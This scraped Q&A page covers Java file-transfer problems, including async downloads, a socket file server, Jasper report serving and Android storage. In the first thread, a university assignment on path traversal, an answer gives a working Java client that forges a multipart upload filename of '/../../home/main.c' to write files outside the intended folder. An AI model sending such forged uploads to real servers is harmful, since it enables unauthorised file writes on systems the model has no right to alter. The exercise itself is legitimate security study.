Path traversal, file upload exploit - java

I have a University assignment where I have to upload a file to arbitrary locations. From the code I can see that the uploaded file is being stored in the temporary folder of the unix system + the file name. This means if i can send the server (java) the filename as /../../home/main.c I could store the file on any location on the system.
Its impossible to insert a forward-slash character as part of a file name which excludes this option, so the only way would be to trick the web client somehow sending manually the name of the file.
Is this possible and how?
File f = new File (dir,entry.getname());
where "dir" is /temp

you can name the file something like %2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec and upload using a browser, but i doubt it will work.
you can also try to forge your multipart/form-data http post request hacking an existing implementation, something like this (using commons-httpClient 3.1):
public class Forgery
{
public static void main(String[] args)
{
File f = new File("/path/fileToUpload.txt");
PostMethod filePost = new PostMethod("http://host/some_path");
Part[] parts =
{
new StringPart("param_name", "value"),
new FilePart(f.getName(), f)
{
private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);
#Override
protected void sendDispositionHeader(OutputStream out) throws IOException
{
out.write(CONTENT_DISPOSITION_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes(getName()));
out.write(QUOTE_BYTES);
out.write(FILE_NAME_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
out.write(QUOTE_BYTES);
}
}
};
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
HttpClient client = new HttpClient();
int status = client.executeMethod(filePost);
}
}

Related

How to write responses of multiple asynchronous get requests to a single file in asynchronous httpclient java 11?

I can download a single media file using httpclient in java 11 like this
public class Httptest {
private static HttpClient client = HttpClient.newBuilder().build();
public static void main(String[] args) throws Exception {
File fts = new File("P:/sample.ts"); //Destination of downloaded file
fts.createNewFile();
URI url = new URI("File url here"); //File Url
HttpRequest request = HttpRequest.newBuilder() //Creating HttpRequest using Builder class
.GET()
.uri(url)
.build();
Path file = Path.of("P:/samp.ts");
//BodyHandlers class has methods to handle the response body
// In this case, save it as a file (BodyHandlers.ofFile())
HttpResponse<Path> response = client.send(request,BodyHandlers.ofFile(file));
}
}
The above code snippet downloads the .ts file from the url. And it is downloaded properly.
Now, I have list of urls, List<URI> urls. I made asynchronous call to the list of urls, and also ensured concurrent calls by adding an Executor service.
The place where I'm stuck is, how to write the list of responses to a single file.
The code I wrote so far:
public class httptest{
// Concurrent requests are made in 4 threads
private static ExecutorService executorService = Executors.newFixedThreadPool(4);
//HttpClient built along with executorservice
private static HttpClient client = HttpClient.newBuilder()
.executor(executorService)
.build();
public static void main(String[] args) throws Exception{
File fts = new File("P:/Spyder_directory/sample.ts");
fts.createNewFile();
List<URI> urls = Arrays.asList(
new URI("Url of file 1"),
new URI("Url of file 2"),
new URI("Url of file 3"),
new URI("Url of file 4"),
new URI("Url of file 5"));
List<HttpRequest> requests = urls.stream()
.map(HttpRequest::newBuilder)
.map(requestBuilder -> requestBuilder.build())
.collect(toList());
Path file = Path.of("P:/Spyder_directory/sample.ts");
List<CompletableFuture<HttpResponse<Path>>> results = requests.stream()
.map(individual_req -> client.sendAsync(individual_req,BodyHandlers.ofFile(file)))
.collect(Collectors.toList());
}
}
The file sample.ts created at the end of execution does not have the response of the requests made.
If you get the gist of my problem, can anyone suggest alternate solutions for this problem.
One possibility would be to use HttpResponse.BodyHandlers.ofByteArrayConsumer with a Consumer<Optional<byte[]>> that writes the bytes to a file. This would let you control how the file is opened, allowing you to append to an existing file rather than creating a new file each time.
Note that if you do that you should not use sendAsync because the requests will be sent concurrently, and the response will therefore be received concurrently too. If you still want to send the requests concurrently you will need to buffer the responses and impose some synchronization when writing them down to the file.

A GUI based Java multi-thread file server and client

I was doing an assignment to create a UI based client to send and display files. The server will both send and receive the files (just like file upload and download to ftp).
Now I have only two problems:
if we send a file to server for storing the file on disk from client it writes data to file and then stores file with name as null .(I know that this is because I am not sending file name to server with which to store the file). I want to send the server both name of file and contents of the file. how should I do it?
Another thing that the client and server both have File Send and File Receive methods which run in Thread. when The client requests file the File Send of server should send it and when the client uploads file the File receive of server should accept it, but if I just start both the threads in MainMethod one of them says that the connection is refused.(As the File receive means that the File send of client should run before file receive of server and vice versa) how should I do it?
Main Method of CLIENT
public class MainMethod {
public static void main (String[] args) throws Exception {
new FileScreen();
new FileReceive().start();
new FileSend().start();
}
}
Main Method of SERVER
public class MainMethod {
public static void main (String[] args) throws IOException {
new FileSend().start();
new FileReceive().start();
}
}
Finally FileSend of Client
public void run () {
socket = serverSocket.accept ();
dis = new DataInputStream (socket.getInputStream ());
dos = new DataOutputStream (socket.getOutputStream ());
dos.writeUTF(Filename); //tried to send filename to server
:does not work
bufferedReader = new BufferedReader(new FileReader(path));
while ( (data1 = bufferedReader.readLine ()) != null ){
if ( flag == 0 ){
fileData = data1;
flag = 1;
}else {
fileData = fileData+"\n"+data1;
}
}
bufferedReader.close ();
dos.writeUTF (fileData); //send file contents to server
}
File Receive of SERVER
public void run () {
downloadFileName = dis.readUTF(); //this line should read name :- not working
downloadFileContent = dis.readUTF (); // this line works fine in absence of above line
BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter("/home/user/Client&Server/ServerReceive/"+downloadFileName));
bufferedWriter.write (downloadFileContent);
bufferedWriter.close ();
}

How to serve .jasper file with HTTP Server?

I am creating HTTP server with Tomee, i am placed jasper report file (.jasper) in webapp directory. if i access http://localhost:8080/test.jasper in browser, the browser will prompt to download the file.
In my java project i'm creating simple code to access that link and then preview the report. I use async-http-client library for request.
DefaultAsyncHttpClient client = new DefaultAsyncHttpClient();
BoundRequestBuilder brb = client.prepareGet("http://localhost:8765/qa/test.jasper");
Future<InputStream> f = brb.execute(new AsyncCompletionHandler<InputStream>() {
#Override
public InputStream onCompleted(Response resp) {
try {
String[][] data = {{"Jakarta"},{"Surabaya"},{"Solo"},{"Denpasar"}};
String[] columnNames = {"City"};
DefaultTableModel dtm = new DefaultTableModel(data, columnNames);
Map<String,Object> params = new HashMap<>();
JasperPrint jPrint = JasperFillManager.fillReport(
resp.getResponseBodyAsStream(),
params,
new JRTableModelDataSource(dtm)
);
JasperViewer jpView = new JasperViewer(jPrint,false);
jpView.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
jpView.setSize(800, 600);
jpView.setLocationRelativeTo(null);
jpView.setVisible(true);
} catch (JRException ex) {
System.out.println(ex.getMessage());
}
return resp.getResponseBodyAsStream();
}
});
From my code above, i got an error Error loading object from InputStream
normally i can use
InputStream input = MainContext.class.getResourceAsStream(filename);
But i want to replace file input stream with http request (stream too).
How exactly i can serve .jasper file with http server...?
Error loading object from InputStream error came from corrupt InputStream, if i download .jasper file normally via browser and execute the report with JRLoader.loadObjectFromFile(path to file) it doesn't works too, because tomee give corrupt file (the source file not corrupt).
My own solution is read source file as stream, convert it to base64 encode, and serve it via HTTP API protocol.
finput = new FileInputStream(sPath);
byte[] bFile = Base64.getEncoder().encode(IOUtils.toByteArray(finput));
String sFile = new String(bFile);
inside client side, i received it as body string, decode the base64 string, convert it to InputStream and Finally execute the report with InputStream.
byte[] bBody = Base64.getDecoder().decode(sBody);
InputStream mainReport = new ByteArrayInputStream(bBody);
return JasperFillManager.fillReport(mainReport, params);

Create a public folder in internal storage

Sorry for my English, but I want to write in this file because in my opinion is the best.
Now my problem:
I want to create a folder in Internal storage to share with 2 application.
In my app, I downloaded an Apk from my server and I run it.
Before I used external storage and everything worked.
Now I want to use the internal storage for users that don't have an external storage.
I use this:
String folderPath = getFilesDir() + "Dir"
but when i try to run the Apk, it doesn't work, and I can't find this folder on my phone.
Thank you..
From this post :
Correct way:
Create a File for your desired directory (e.g., File path=new
File(getFilesDir(),"myfolder");)
Call mkdirs() on that File to create the directory if it does not exist
Create a File for the output file (e.g., File mypath=new File(path,"myfile.txt");)
Use standard Java I/O to write to that File (e.g., using new BufferedWriter(new FileWriter(mypath)))
Enjoy.
Also to create public file I use :
/**
* Context.MODE_PRIVATE will create the file (or replace a file of the same name) and make it private to your application.
* Other modes available are: MODE_APPEND, MODE_WORLD_READABLE, and MODE_WORLD_WRITEABLE.
*/
public static void createInternalFile(Context theContext, String theFileName, byte[] theData, int theMode)
{
FileOutputStream fos = null;
try {
fos = theContext.openFileOutput(theFileName, theMode);
fos.write(theData);
fos.close();
} catch (FileNotFoundException e) {
Log.e(TAG, "[createInternalFile]" + e.getMessage());
} catch (IOException e) {
Log.e(TAG, "[createInternalFile]" + e.getMessage());
}
}
Just set theMode to MODE_WORLD_WRITEABLE or MODE_WORLD_READABLE (note they are deprecated from api lvl 17).
You can also use theContext.getDir(); but note what doc says :
Retrieve, creating if needed, a new directory in which the application can place its own custom data files. You can use the returned File object to create and access files in this directory. Note that files created through a File object will only be accessible by your own application; you can only set the mode of the entire directory, not of individual files.
Best wishes.
You can create a public into a existing system public folder, there is some public folder accessible from internal storage :
public static String DIRECTORY_MUSIC = "Music";
public static String DIRECTORY_PODCASTS = "Podcasts";
public static String DIRECTORY_RINGTONES = "Ringtones";
public static String DIRECTORY_ALARMS = "Alarms";
public static String DIRECTORY_NOTIFICATIONS = "Notifications";
public static String DIRECTORY_PICTURES = "Pictures";
public static String DIRECTORY_MOVIES = "Movies";
public static String DIRECTORY_DOWNLOADS = "Download";
public static String DIRECTORY_DCIM = "DCIM";
public static String DIRECTORY_DOCUMENTS = "Documents";
To create your folder, use this code :
File myDirectory = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS), "MyPublicFolder");
myDirectory.mkdir();
With this example, a public will be created in Documents and can be visible in any file's explorer app for Android.
try the below
File mydir = context.getDir("Newfolder", Context.MODE_PRIVATE); //Creating an internal dir;
if(!mydir.exists)
{
mydir.mkdirs();
}
This is what i have used and is working fine for me:
String extStorageDirectory = Environment.getExternalStorageDirectory().toString();
File file = new File(extStorageDirectory, fileName);
File parent=file.getParentFile();
if(!parent.exists()){
parent.mkdirs();
}
This will create a new directory if not already present or use the existing if already present.

want to copy a file from a server to a client

i want to copy a file from a server to a client in java.this is my code up to now
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
public class Copy {
private ListDirectory dir = new ListDirectory();
public Copy() {
}
public String getCopyPath(String file) throws Exception {
String path = dir.getCurrentPath();
path += "\\" + file;
return path;
}
public void copyFile(String file) {
try {
File inputFile = new File(dir.getCurrentPath());
URL copyurl;
InputStream outputFile;
copyurl = new URL(getCopyPath(file));
outputFile = copyurl.openStream();
FileOutputStream out = new FileOutputStream(inputFile);
int c;
while ((c = outputFile.read()) != -1)
out.write(c);
outputFile.close();
out.close();
} catch (Exception e) {
System.out.println("Failed to Copy File from server");
e.printStackTrace();
}
}
public static void main(String args[]) {
String a = "put martin";
String b = a.substring(0, 3);
String c = a.substring(4);
System.out.println(a);
System.out.println(b);
System.out.println(c);
}
}
Problem is , the server is not uploadded online , but it is on my local drive, and the URL thing doesnt work. is there any other way? is this way correct? thanks
If you're expecting to access your file from the local file system (whether that be via network drive or a local disk), you'll need to treat this as if it is a straight file copy.
If you're expecting to access your file as if it is available for download from an HTTP server, you will need to treat it as an HTTP download (which is what it looks like you're trying to do with the URL).
If you want to test the HTTP download functionality using a file on your local system, just set up a simple HTTP server on your dev machine with a directory on your local system, and give your HTTP-downloading code a URL pointing to that local server (on http://localhost, or using your IP address).
Unfortunately, HTTP is a very different animal from a file system, and I don't think there's any way to use the same code to handle both scenarios. If you want your program to ultimately support both protocols, you should build methods/classes to handle both situations, and then have your program detect and use the appropriate protocol for a given path. You'll need to do the same for any other protocol you wish to support (FTP, SFTP, etc).

Categories